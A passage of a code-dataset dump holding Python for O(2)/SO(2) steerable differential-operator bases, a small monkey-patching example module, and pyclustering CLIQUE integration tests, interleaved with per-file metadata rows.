SO2) if isinstance(in_irrep, int): in_irrep = group.irrep(in_irrep) elif isinstance(in_irrep, str): in_irrep = group.irreps[in_irrep] elif not isinstance(in_irrep, IrreducibleRepresentation): raise ValueError( f"'in_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found" ) self.n = in_irrep.attributes["frequency"] if isinstance(out_irrep, int): out_irrep = group.irrep(out_irrep) elif isinstance(out_irrep, str): out_irrep = group.irreps[out_irrep] elif not isinstance(out_irrep, IrreducibleRepresentation): raise ValueError( f"'out_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found" ) self.m = out_irrep.attributes["frequency"] self.invert = [] self.mu = [] if in_irrep.size == 2 and out_irrep.size == 2: # m, n > 0 ss = [] for invert in range(2): for s in [0, 1]: mu = self.m - self.n * (-1) ** s self.invert.append(invert) self.mu.append(mu) ss.append(s) self.s = np.array(ss) elif in_irrep.size == 2 and out_irrep.size == 1: assert self.m == 0 # n > 0, m = 0 for invert in range(2): mu = self.n + self.m self.invert.append(invert) self.mu.append(mu) elif in_irrep.size == 1 and out_irrep.size == 2: assert self.n == 0 # m > 0, n = 0 for invert in range(2): mu = self.n + self.m self.invert.append(invert) self.mu.append(mu) elif in_irrep.size == 1 and out_irrep.size == 1: assert self.n == 0 and self.m == 0 self.mu.append(0) self.invert.append(0) self.dim = len(self.invert) self.group = group self.in_irrep = in_irrep self.out_irrep = out_irrep # would be set later anyway but we need it now self.shape = (out_irrep.size, in_irrep.size) coefficients = [] if self.shape[0] == 2 and self.shape[1] == 2: for i in range(self.dim): invert = self.invert[i] s = self.s[i] mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = cheby("t", mu, invert) out[0, 1, :] = -(-1)**s * cheby("u", mu, invert) out[1, 0, :] = cheby("u", mu, invert) out[1, 1, :] = (-1)**s * cheby("t", mu, invert) coefficients.append(out) elif self.shape[0] == 1 and self.shape[1] == 2: for i in range(self.dim): invert = self.invert[i] mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = cheby("t", mu, invert) out[0, 1, :] = cheby("u", mu, invert) coefficients.append(out) elif self.shape[0] == 2 and self.shape[1] == 1: for i in range(self.dim): invert = self.invert[i] mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = cheby("t", mu, invert) out[1, 0, :] = cheby("u", mu, invert) coefficients.append(out) elif self.shape[0] == 1 and self.shape[1] == 1: out = np.array([1]).reshape(1, 1, 1) coefficients.append(out) else: raise ValueError(f"Shape {self.shape} not recognized!") super().__init__(coefficients) def __getitem__(self, idx): assert idx < self.dim attr = {} attr["frequency"] = self.mu[idx] attr["order"] = abs(self.mu[idx]) attr["invert"] = self.invert[idx] if hasattr(self, "s"): attr["s"] = self.s[idx] attr["idx"] = idx return attr def __eq__(self, other): if not isinstance(other, R2ContinuousRotationsSolution): return False elif self.in_irrep != other.in_irrep or self.out_irrep != other.out_irrep: return False elif hasattr(self, "s") and not np.allclose(self.s, other.s): return False else: return np.allclose(self.mu, other.mu) and self.invert == other.invert def __hash__(self): return (hash(self.in_irrep) + hash(self.out_irrep) + hash(str(self.mu)) + hash(str(self.invert))) class R2FlipsContinuousRotationsSolution(DiffopBasis): def __init__(self, group: Group, in_irrep: Union[str, IrreducibleRepresentation, Tuple[int]], out_irrep: Union[str, IrreducibleRepresentation, Tuple[int, int]], axis: float = 0., ): assert isinstance(group, O2) assert isinstance(axis, float) self.axis = axis if isinstance(in_irrep, tuple): in_irrep = group.irrep(in_irrep[0], in_irrep[1]) elif isinstance(in_irrep, str): in_irrep = group.irreps[in_irrep] elif not isinstance(in_irrep, IrreducibleRepresentation): raise ValueError(f"'in_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found") if isinstance(out_irrep, tuple): out_irrep = group.irrep(out_irrep[0], out_irrep[1]) elif isinstance(out_irrep, str): out_irrep = group.irreps[out_irrep] elif not isinstance(out_irrep, IrreducibleRepresentation): raise ValueError(f"'out_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found") self.m = out_irrep.attributes['frequency'] self.n = in_irrep.attributes['frequency'] self.fi = in_irrep.attributes['flip_frequency'] self.fo = out_irrep.attributes['flip_frequency'] self.mu = [] if in_irrep.size == 2 and out_irrep.size == 2: assert (self.m > 0 and self.n > 0 and self.fi == 1 and self.fo == 1) self.s = [] # m, n > 0 self.invert = 0 for s in [0, 1]: mu = self.m - self.n * (-1) ** s self.mu.append(mu) self.s.append(s) elif in_irrep.size == 2 and out_irrep.size == 1: assert self.m == 0 and self.fi == 1 # n > 0, m = 0 self.invert = self.fo mu = self.n + self.m self.mu.append(mu) elif in_irrep.size == 1 and out_irrep.size == 2: assert self.n == 0 and self.fo == 1 # m > 0, n = 0 self.invert = self.fi mu = self.n + self.m self.mu.append(mu) elif in_irrep.size == 1 and out_irrep.size == 1: assert self.n == 0 and self.m == 0 self.invert = ((self.fi + self.fo) % 2) mu = self.m - self.n if mu > 0 or self.invert == 0: # don't add sin(0*theta) as a basis since it is zero everywhere self.mu.append(mu) self.dim = len(self.mu) self.group = group self.in_irrep = in_irrep self.out_irrep = out_irrep # would be set later anyway but we need it now self.shape = (out_irrep.size, in_irrep.size) coefficients = [] # the basis vectors depends on the shape of the input and output irreps, # while their frequencies depend on the irreps frequencies if self.shape[0] == 2 and self.shape[1] == 2: for i in range(self.dim): s = self.s[i] mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = cheby("t", mu, self.invert) out[0, 1, :] = -(-1)**s * cheby("u", mu, self.invert) out[1, 0, :] = cheby("u", mu, self.invert) out[1, 1, :] = (-1)**s * cheby("t", mu, self.invert) coefficients.append(out) elif self.shape[0] == 1 and self.shape[1] == 2: for i in range(self.dim): mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = (-1)**self.invert * homogenized_cheby(mu, "u" if self.invert else "t") out[0, 1, :] = homogenized_cheby(mu, "t" if self.invert else "u") coefficients.append(out) elif self.shape[0] == 2 and self.shape[1] == 1: for i in range(self.dim): mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = (-1)**self.invert * homogenized_cheby(mu, "u" if self.invert else "t") out[1, 0, :] = homogenized_cheby(mu, "t" if self.invert else "u") coefficients.append(out) elif self.shape[0] == 1 and self.shape[1] == 1: for i in range(self.dim): mu = self.mu[i] out = homogenized_cheby(mu, "u" if self.invert else "t").reshape(1, 1, -1) coefficients.append(out) else: raise ValueError(f"Shape {self.shape} not recognized!") if axis != 0: so2 = SO2(1) # rotation matrix by angle_offset matrix = so2.irrep(1)(axis) # we transform the polynomial with the matrix coefficients = [transform_polynomial(element, matrix) for element in coefficients] super().__init__(coefficients) def __getitem__(self, idx): assert idx < self.dim attr = {} attr["frequency"] = self.mu[idx] attr["order"] = abs(self.mu[idx]) attr["invert"] = self.invert if hasattr(self, "s"): attr["s"] = self.s[idx] attr["idx"] = idx return attr def __eq__(self, other): if not isinstance(other, R2FlipsContinuousRotationsSolution): return False elif self.in_irrep != other.in_irrep or self.out_irrep != other.out_irrep: return False elif hasattr(self, "s") and not np.allclose(self.s, other.s): return False else: return np.allclose(self.mu, other.mu) and self.invert == other.invert def __hash__(self): return (hash(self.in_irrep) + hash(self.out_irrep) + hash(str(self.mu)) + hash(self.invert)) def cheby(kind, mu, invert): inverter = {"u": "t", "t": "u"} if kind == "t" and invert: sign = -1 else: sign = 1 return sign * homogenized_cheby(mu, inverter[kind] if invert else kind)

39.135762

141

0.522436

4,482

35,457

4.02722

0.036591

0.042659

0.034571

0.014958

0.940499

0.931468

0.929252

0.920388

0.917396

0.916122

0

0.016914

0.364695

35,457

905

142

39.179006

0.784382

0.054489

0

0.887346

0

0.058848

0.007468

0

0.08642

1

0.032407

false

0

0.015432

0.007716

0.101852

0

null

0

1

0

1

0

null

0

7

d793c91d12889a1f876324dc38af6a5bcde52ae1

211

py

Python

decals/z_analysis/patching/example_module/learn_patching.py

zooniverse/decals

ce0086fa7fc3597b12f90d7ce9dd92d1cbcf8e66

[ "MIT" ]

3

2018-11-21T10:17:56.000Z

2021-06-07T20:43:39.000Z

decals/z_analysis/patching/example_module/learn_patching.py

zooniverse/decals

ce0086fa7fc3597b12f90d7ce9dd92d1cbcf8e66

[ "MIT" ]

48

2017-11-09T13:55:07.000Z

2019-02-22T11:29:10.000Z

decals/z_analysis/patching/example_module/learn_patching.py

zooniverse/decals

ce0086fa7fc3597b12f90d7ce9dd92d1cbcf8e66

[ "MIT" ]

2

2019-08-22T09:11:30.000Z

2021-09-01T14:29:48.000Z

from patching.example_module.learn_patching_external import some_external_function def some_function(): return 'original function called' def call_external_function(): return some_external_function()

23.444444

82

0.824645

26

211

6.307692

0.538462

0.292683

0.243902

0

0.118483

211

9

83

23.444444

0.88172

0

0.113208

0

1

0.4

true

0

0.2

0.4

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

8

ad6a6d594f23eaf15193d0534dca81d8f15ce6de

7,410

py

Python

pyclustering/cluster/tests/integration/it_clique.py

JosephChataignon/pyclustering

bf4f51a472622292627ec8c294eb205585e50f52

[ "BSD-3-Clause" ]

1,013

2015-01-26T19:50:14.000Z

2022-03-31T07:38:48.000Z

pyclustering/cluster/tests/integration/it_clique.py

peterlau0626/pyclustering

bf4f51a472622292627ec8c294eb205585e50f52

[ "BSD-3-Clause" ]

542

2015-01-20T16:44:32.000Z

2022-01-29T14:57:20.000Z

pyclustering/cluster/tests/integration/it_clique.py

peterlau0626/pyclustering

bf4f51a472622292627ec8c294eb205585e50f52

[ "BSD-3-Clause" ]

262

2015-03-19T07:28:12.000Z

2022-03-30T07:28:24.000Z

"""! @brief Integration-tests for CLIQUE algorithm. @authors Andrei Novikov (pyclustering@yandex.ru) @date 2014-2020 @copyright BSD-3-Clause """ import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.clique import clique from pyclustering.cluster.tests.clique_templates import clique_test_template from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES from pyclustering.core.tests import remove_library from pyclustering.tests.assertion import assertion class clique_integration_test(unittest.TestCase): def test_clustering_sample_simple_1_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 8, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 7, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 5, 0, [5, 5], 0, True) def test_clustering_sample_simple_1_one_cluster_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 0, [10], 0, True) def test_clustering_diagonal_blocks_arent_neoghbors_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 0, [5, 5], 0, True) def test_clustering_sample_simple_1_noise_only_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 1000, [], 10, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 10, [], 10, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 5, [], 10, True) def test_clustering_sample_simple_2_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 7, 0, [5, 8, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 6, 0, [5, 8, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1, 0, [23], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 6, 500, [], 23, True) def test_clustering_sample_simple_3_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 9, 0, [10, 10, 10, 30], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 8, 0, [10, 10, 10, 30], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1, 0, [60], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 6, 500, [], 60, True) def test_clustering_sample_simple_3_one_point_noise_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 2, 9, [59], 1, True) def test_clustering_sample_simple_4_one_cluster_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, 1, 0, [75], 0, True) def test_clustering_sample_simple_5_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 8, 0, [15, 15, 15, 15], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 7, 0, [15, 15, 15, 15], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 6, 0, [15, 15, 15, 15], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 5, 0, [15, 15, 15, 15], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 1, 0, [60], 0, True) def test_clustering_one_dimensional_data1_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 4, 0, [10, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 2, 0, [20], 0, True) def test_clustering_one_dimensional_data2_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 15, 0, [15, 20, 30, 80], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 2, 0, [145], 0, True) def test_clustering_one_dimensional_data_3_similar_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 7, 0, [10, 20], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 2, 0, [30], 0, True) def test_clustering_sample_simple_10_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 8, 0, [11, 11, 11], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 7, 0, [11, 11, 11], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 2, 0, [33], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 1, 0, [33], 0, True) def test_clustering_three_dimensional_data1_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 6, 0, [10, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 5, 0, [10, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 1, 0, [20], 0, True) def test_clustering_similar_points_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 8, 0, [5, 5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 7, 0, [5, 5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 5, 0, [5, 5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 2, 0, [15], 0, True) def test_clustering_zero_column_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 3, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 2, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 1, 0, [10], 0, True) def test_clustering_fcps_lsun_by_core(self): clique_test_template.clustering(FCPS_SAMPLES.SAMPLE_LSUN, 15, 0, [100, 101, 202], 0, True) def test_clustering_fcps_hepta_by_core(self): clique_test_template.clustering(FCPS_SAMPLES.SAMPLE_HEPTA, 9, 0, [30, 30, 30, 30, 30, 30, 32], 0, True) def test_visualize_no_failure_one_dimensional_by_core(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 4, 0, True) clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 7, 0, True) def test_visualize_no_failure_two_dimensional_by_core(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 8, 0, True) clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 0, True) def test_visualize_no_failure_three_dimensional_by_core(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 3, 0, True) def test_high_dimension_data_failure(self): data = [[0, 1, 2, 1, 3, 4, 5, 1, 2, 3, 3, 1, 3], [0, 1, 0, 1, 3, 8, 5, 5, 3, 3, 3, 0, 0]] clique_instance = clique(data, 15, 0) assertion.exception(RuntimeError, clique_instance.process) def test_processing_when_library_core_removed(self): self.run_removed_library_core_test() @remove_library def run_removed_library_core_test(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 8, 0, [5, 5], 0, True)

55.298507

112

0.733063

1,062

7,410

4.763653

0.116761

0.104764

0.188575

0.26013

0.80846

0.785926

0.758648

0.689267

0.658826

0.617513

0

0.072903

0.163293

7,410

133

113

55.714286

0.743065

0.025371

0

0.022222

1

0

0.000424

0

0.022222

1

0.266667

false

0

0.077778

0

0.355556

0

null

0

1

0

1

0

1

0

null

0

1

0

8